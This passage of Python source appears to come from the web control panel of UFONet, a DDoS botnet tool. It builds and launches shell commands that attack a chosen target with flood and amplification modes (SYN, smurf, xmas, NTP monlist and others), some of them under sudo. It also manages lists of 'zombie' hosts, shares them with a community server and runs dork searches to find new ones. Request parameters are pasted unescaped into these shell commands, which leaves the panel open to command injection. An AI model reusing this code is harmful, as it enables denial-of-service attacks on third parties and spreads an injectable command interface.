  2463. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  2464. <tr>
  2465. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  2466. <tr>
  2467. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  2468. <tr>
  2469. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  2470. <tr>
  2471. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  2472. <tr>
  2473. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  2474. <tr>
  2475. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  2476. </table>
  2477. </td><td>
  2478. <table border="1" cellpadding="5" cellspacing="10">
  2479. <tr>
  2480. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  2481. <tr>
  2482. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  2483. <tr>
  2484. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  2485. <tr>
  2486. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  2487. <tr>
  2488. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  2489. <tr>
  2490. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  2491. </table>
  2492. </td><td>
  2493. <table border="1" cellpadding="5" cellspacing="10">
  2494. <tr>
  2495. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  2496. <tr>
  2497. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  2498. <tr>
  2499. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  2500. <tr>
  2501. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  2502. </table>
  2503. </td><td>
  2504. <table border="1" cellpadding="5" cellspacing="10">
  2505. <tr>
  2506. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  2507. <tr>
  2508. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  2509. </table>
  2510. </td>
  2511. </tr></table>
  2512. </center>
  2513. <hr>
  2514. """ + self.pages["/footer"]
  2515. self.pages["/lib.js"] = """function loadXMLDoc() {
  2516. var xmlhttp;
  2517. if (window.XMLHttpRequest) {
  2518. // code for IE7+, Firefox, Chrome, Opera, Safari
  2519. xmlhttp = new XMLHttpRequest();
  2520. } else {
  2521. // code for IE6, IE5
  2522. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2523. }
  2524. xmlhttp.onreadystatechange = function() {
  2525. if (xmlhttp.readyState == 4 ) {
  2526. if(xmlhttp.status == 200){
  2527. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2528. setTimeout("loadXMLDoc()", 3000);
  2529. }
  2530. }
  2531. }
  2532. xmlhttp.send();
  2533. }
  2534. function runCommandX(cmd,params) {
  2535. var xmlhttp;
  2536. if (window.XMLHttpRequest) {
  2537. // code for IE7+, Firefox, Chrome, Opera, Safari
  2538. xmlhttp = new XMLHttpRequest();
  2539. } else {
  2540. // code for IE6, IE5
  2541. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2542. }
  2543. xmlhttp.onreadystatechange = function() {
  2544. if (xmlhttp.readyState == 4 ) {
  2545. if(xmlhttp.status == 200){
  2546. if(cmd.indexOf("?")!=-1){
  2547. s=cmd.split("?")
  2548. cmd=s[0]
  2549. params=s[1]
  2550. }
  2551. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2552. //document.getElementById("cmdOut").scrollIntoView();
  2553. newcmd=cmd
  2554. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2555. return;
  2556. } else {
  2557. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2558. //do not refresh if certain text on response is found
  2559. if(newcmd.match(/update/) &&
  2560. (
  2561. xmlhttp.responseText.match(/Generating random exit/) ||
  2562. xmlhttp.responseText.match(/Biggest File/) ||
  2563. xmlhttp.responseText.match(/Abduction finished/) ||
  2564. xmlhttp.responseText.match(/Not any zombie active/) ||
  2565. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2566. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2567. xmlhttp.responseText.match(/Something wrong/) ||
  2568. xmlhttp.responseText.match(/Target url not valid/) ||
  2569. xmlhttp.responseText.match(/updated/) ||
  2570. xmlhttp.responseText.match(/For HELP use:/) ||
  2571. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2572. xmlhttp.responseText.match(/End of /) ||
  2573. xmlhttp.responseText.match(/Exiting /) ||
  2574. xmlhttp.responseText.match(/Bye/)
  2575. )
  2576. ) return;
  2577. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2578. return;}
  2579. }
  2580. }
  2581. }
  2582. if(typeof params != "undefined") cmd=cmd+"?"+params
  2583. xmlhttp.open("GET", cmd, true);
  2584. xmlhttp.send();
  2585. }
  2586. """
  2587. self.pages["/requests"] = self.html_requests()
  2588. self.pages["/board_profile"] = self.html_board_profile()
  2589. self.pages["/grid_profile"] = self.html_grid_profile()
  2590. def buildGetParams(self, request):
  2591. params = {}
  2592. try:
  2593. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2594. except:
  2595. path = re.findall("^GET ([^\s]+)", request)
  2596. if path:
  2597. path = path[0]
  2598. start = path.find("?")
  2599. if start != -1:
  2600. if path[start+1:start+7] == "zombie":
  2601. params['zombie']=path[start+8:]
  2602. return params
  2603. if path[start+1:start+7] == "target":
  2604. params['target']=path[start+8:]
  2605. return params
  2606. for param in path[start+1:].split("&"):
  2607. f = param.split("=")
  2608. if len(f) == 2:
  2609. var = f[0]
  2610. value = f[1]
  2611. value = value.replace("+", " ")
  2612. value = urllib.parse.unquote(value)
  2613. params[var] = value
  2614. return params
  2615. def save_profile(self,pGet):
  2616. # set values for profile configuration from html form to json file
  2617. if "profile_token" in list(pGet.keys()):
  2618. profile_token = pGet["profile_token"]
  2619. else:
  2620. profile_token = self.profile_token
  2621. if "profile_icon" in list(pGet.keys()):
  2622. profile_icon = pGet["profile_icon"]
  2623. else:
  2624. profile_icon = self.profile_icon
  2625. if "profile_nick" in list(pGet.keys()):
  2626. profile_nick = pGet["profile_nick"]
  2627. else:
  2628. profile_nick = self.profile_nick
  2629. # set new values on boardcfg json file
  2630. with open(self.mothership_boardcfg_file, "w") as f:
  2631. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2632. def save_grid(self,pGet):
  2633. # set values for profile configuration from html form to json file
  2634. if "grid_token" in list(pGet.keys()):
  2635. grid_token = pGet["grid_token"]
  2636. else:
  2637. grid_token = self.grid_token
  2638. if "grid_contact" in list(pGet.keys()):
  2639. grid_contact = pGet["grid_contact"]
  2640. else:
  2641. grid_contact = self.grid_contact
  2642. if "grid_nick" in list(pGet.keys()):
  2643. grid_nick = pGet["grid_nick"]
  2644. else:
  2645. grid_nick = self.grid_nick
  2646. # set new values on gridcfg json file
  2647. with open(self.mothership_gridcfg_file, "w") as f:
  2648. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2649. def save_cfg(self,pGet):
  2650. # set values for requests configuration from html form to json file
  2651. if "rproxy" in list(pGet.keys()):
  2652. frm_rproxy = pGet["rproxy"]
  2653. else:
  2654. frm_rproxy = self.rproxy
  2655. if "ruseragent" in list(pGet.keys()):
  2656. frm_ruseragent = pGet["ruseragent"]
  2657. else:
  2658. frm_ruseragent = self.ruseragent
  2659. if "rreferer" in list(pGet.keys()):
  2660. frm_rreferer = pGet["rreferer"]
  2661. else:
  2662. frm_rreferer = self.rreferer
  2663. if "rhost" in list(pGet.keys()):
  2664. frm_rhost = pGet["rhost"]
  2665. else:
  2666. frm_rhost = self.rhost
  2667. if "rxforw" in list(pGet.keys()):
  2668. frm_rxforw = pGet["rxforw"]
  2669. else:
  2670. if "update" in list(pGet.keys()):
  2671. frm_rxforw = ""
  2672. else:
  2673. frm_rxforw = self.rxforw
  2674. if "rxclient" in list(pGet.keys()):
  2675. frm_rxclient = pGet["rxclient"]
  2676. else:
  2677. if "update" in list(pGet.keys()):
  2678. frm_rxclient = ""
  2679. else:
  2680. frm_rxclient = self.rxclient
  2681. if "rtimeout" in list(pGet.keys()):
  2682. frm_rtimeout = pGet["rtimeout"]
  2683. else:
  2684. frm_rtimeout = self.rtimeout
  2685. if "rretries" in list(pGet.keys()):
  2686. frm_rretries = pGet["rretries"]
  2687. else:
  2688. frm_rretries = self.rretries
  2689. if "rdelay" in list(pGet.keys()):
  2690. frm_rdelay = pGet["rdelay"]
  2691. else:
  2692. frm_rdelay = self.rdelay
  2693. if "threads" in list(pGet.keys()):
  2694. frm_threads = pGet["threads"]
  2695. else:
  2696. frm_threads = self.threads
  2697. if "rssl" in list(pGet.keys()):
  2698. frm_rssl = pGet["rssl"]
  2699. else:
  2700. if "update" in list(pGet.keys()):
  2701. frm_rssl = ""
  2702. else:
  2703. frm_rssl = self.rssl
  2704. # set new values on webcfg json file
  2705. with open(self.mothership_webcfg_file, "w") as f:
  2706. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2707. def get(self, request):
  2708. # set request options of the user
  2709. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2710. if self.rxforw == "on":
  2711. cmd_options = cmd_options + " --xforw"
  2712. if self.rxclient == "on":
  2713. cmd_options = cmd_options + " --xclient"
  2714. if self.rssl == "on":
  2715. cmd_options = cmd_options + " --force-ssl"
  2716. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2717. runcmd = ""
  2718. try:
  2719. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2720. except:
  2721. res = re.findall("^GET ([^\s]+)", request)
  2722. if res is None or len(res)==0:
  2723. return
  2724. pGet = {}
  2725. page = res[0]
  2726. paramStart = page.find("?")
  2727. if paramStart != -1:
  2728. page = page[:paramStart]
  2729. try:
  2730. pGet = self.buildGetParams(request.decode('utf-8'))
  2731. except:
  2732. pGet = self.buildGetParams(request)
  2733. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2734. if os.path.exists("core/"+page[1:]):
  2735. try:
  2736. f=open("core/"+page[1:],'r',encoding="utf-8")
  2737. data = f.read()
  2738. self.pages[page]=data
  2739. except:
  2740. f=open("core/"+page[1:],'rb') # ajax map related
  2741. data = f.read()
  2742. self.pages[page]=data
  2743. elif page == "/js/ajax.js":
  2744. from .ajaxmap import AjaxMap
  2745. self.pages[page] = AjaxMap().ajax(pGet)
  2746. if page == "/cmd_check_tool":
  2747. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2748. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2749. if page == "/cmd_check_tool_update":
  2750. if not os.path.exists('/tmp/out'):
  2751. open('/tmp/out', 'w').close()
  2752. with open('/tmp/out', 'r') as f:
  2753. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2754. if page == "/cmd_list_army":
  2755. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2756. if page == "/cmd_list_zombies":
  2757. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2758. if page == "/cmd_list_aliens":
  2759. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2760. if page == "/cmd_list_droids":
  2761. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2762. if page == "/cmd_list_ucavs":
  2763. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2764. if page == "/cmd_list_rpcs":
  2765. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2766. if page == "/cmd_view_army":
  2767. if pGet=={}:
  2768. self.pages["/cmd_view_army"] = self.html_army_map()
  2769. if page == "/cmd_view_attack":
  2770. if 'target' in list(pGet.keys()) != None:
  2771. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2772. if page == "/cmd_test_army":
  2773. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2774. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2775. if page == "/cmd_test_all":
  2776. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2777. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2778. if page == "/cmd_test_offline":
  2779. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2780. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2781. if page == "/cmd_attack_me":
  2782. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2783. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2784. if page == "/cmd_attack_me_update":
  2785. if not os.path.exists('/tmp/out'):
  2786. open('/tmp/out', 'w').close()
  2787. with open('/tmp/out', 'r') as f:
  2788. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2789. if page == "/cmd_download_community":
  2790. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2791. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2792. if page == "/cmd_download_community_update":
  2793. if not os.path.exists('/tmp/out'):
  2794. open('/tmp/out', 'w').close()
  2795. with open('/tmp/out', 'r') as f:
  2796. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2797. if page == "/cmd_upload_community":
  2798. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2799. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2800. if page == "/cmd_upload_community_update":
  2801. if not os.path.exists('/tmp/out'):
  2802. open('/tmp/out', 'w').close()
  2803. with open('/tmp/out', 'r') as f:
  2804. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2805. if page == "/cmd_test_army_update":
  2806. if not os.path.exists('/tmp/out'):
  2807. open('/tmp/out', 'w').close()
  2808. with open('/tmp/out', 'r') as f:
  2809. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2810. if page == "/cmd_test_all_update":
  2811. if not os.path.exists('/tmp/out'):
  2812. open('/tmp/out', 'w').close()
  2813. with open('/tmp/out', 'r') as f:
  2814. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2815. if page == "/cmd_test_offline_update":
  2816. if not os.path.exists('/tmp/out'):
  2817. open('/tmp/out', 'w').close()
  2818. with open('/tmp/out', 'r') as f:
  2819. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2820. if page == "/cmd_test_rpcs":
  2821. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2822. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2823. if page == "/cmd_test_rpcs_update":
  2824. if not os.path.exists('/tmp/out'):
  2825. open('/tmp/out', 'w').close()
  2826. with open('/tmp/out', 'r') as f:
  2827. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2828. if page == "/cmd_attack":
  2829. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2830. cmd = ""
  2831. flag_ufosyn = None
  2832. flag_spray = None
  2833. flag_smurf = None
  2834. flag_xmas = None
  2835. flag_nuke = None
  2836. flag_tachyon = None
  2837. flag_monlist = None
  2838. nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2839. root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2840. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2841. if pGet["dbstress"]:
  2842. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2843. if pGet["loic"]:
  2844. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2845. if pGet["loris"]:
  2846. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2847. if pGet["ufosyn"]:
  2848. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2849. flag_ufosyn = True
  2850. if pGet["spray"]:
  2851. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2852. flag_spray = True
  2853. if pGet["smurf"]:
  2854. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2855. flag_smurf = True
  2856. if pGet["xmas"]:
  2857. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2858. flag_xmas = True
  2859. if pGet["nuke"]:
  2860. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  2861. flag_nuke = True
  2862. if pGet["tachyon"]:
  2863. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  2864. flag_tachyon = True
  2865. if pGet["monlist"]:
  2866. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  2867. flag_monlist = True
  2868. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2869. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2870. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  2871. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  2872. runcmd = cmd + end_cmd
  2873. if page == "/cmd_attack_update":
  2874. if not os.path.exists('/tmp/out'):
  2875. open('/tmp/out', 'w').close()
  2876. with open('/tmp/out', 'r') as f:
  2877. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2878. if page == "/cmd_inspect":
  2879. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2880. target = pGet["target"]
  2881. target=urllib.parse.unquote(target)
  2882. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2883. if page == "/cmd_inspect_update":
  2884. if not os.path.exists('/tmp/out'):
  2885. open('/tmp/out', 'w').close()
  2886. with open('/tmp/out', 'r') as f:
  2887. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2888. if page == "/cmd_abduction":
  2889. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2890. target = pGet["target"]
  2891. target=urllib.parse.unquote(target)
  2892. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2893. if page == "/cmd_abduction_update":
  2894. if not os.path.exists('/tmp/out'):
  2895. open('/tmp/out', 'w').close()
  2896. with open('/tmp/out', 'r') as f:
  2897. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2898. if page == "/cmd_search":
  2899. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2900. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2901. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  2902. if pGet["exclude_engines"]:
  2903. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2904. else:
  2905. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2906. else: # search using a search engine
  2907. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2908. else: # search using a pattern
  2909. if pGet["autosearch"] == "on": # search using auto-search mod
  2910. if pGet["exclude_engines"]:
  2911. runcmd = "(python -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2912. else:
  2913. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2914. else:
  2915. if pGet["all_engines"] == "on": # search using all search engines
  2916. if pGet["exclude_engines"]:
  2917. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2918. else:
  2919. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2920. else: # search using a search engine
  2921. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2922. if page == "/cmd_search_update":
  2923. if not os.path.exists('/tmp/out'):
  2924. open('/tmp/out', 'w').close()
  2925. with open('/tmp/out', 'r') as f:
  2926. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2927. if page == "/cmd_refresh_blackholes":
  2928. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2929. blackhole_ip = pGet["blackholes_source"]
  2930. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2931. try:
  2932. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  2933. f = open(self.blackholes, "w") # write updates to nodes.dat
  2934. f.write(blackholes)
  2935. f.close()
  2936. self.blackholes_text = blackholes
  2937. except:
  2938. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2939. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2940. f = open("/tmp/out", "w")
  2941. f.write(str(blackholes))
  2942. f.write(end_mark)
  2943. f.close()
  2944. if page == "/cmd_refresh_blackholes_update":
  2945. if not os.path.exists('/tmp/out'):
  2946. open('/tmp/out', 'w').close()
  2947. with open('/tmp/out', 'r') as f:
  2948. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2949. if page == "/cmd_refresh_news":
  2950. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2951. blackhole_ip = pGet["news_source"]
  2952. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2953. try:
  2954. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  2955. f = open(self.news, "w") # write updates to news.txt
  2956. f.write(news)
  2957. f.close()
  2958. self.news_text = news
  2959. except:
  2960. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2961. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2962. f = open("/tmp/out", "w")
  2963. f.write(str(news))
  2964. f.write(end_mark)
  2965. f.close()
  2966. if page == "/cmd_refresh_news_update":
  2967. if not os.path.exists('/tmp/out'):
  2968. open('/tmp/out', 'w').close()
  2969. with open('/tmp/out', 'r') as f:
  2970. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2971. if page == "/cmd_sync_wargames":
  2972. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2973. blackhole_ip = pGet["wargames_source"]
  2974. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2975. try:
  2976. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  2977. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2978. f.write(wargames)
  2979. f.close()
  2980. self.wargames_text = wargames
  2981. except:
  2982. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2983. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2984. f = open("/tmp/out", "w")
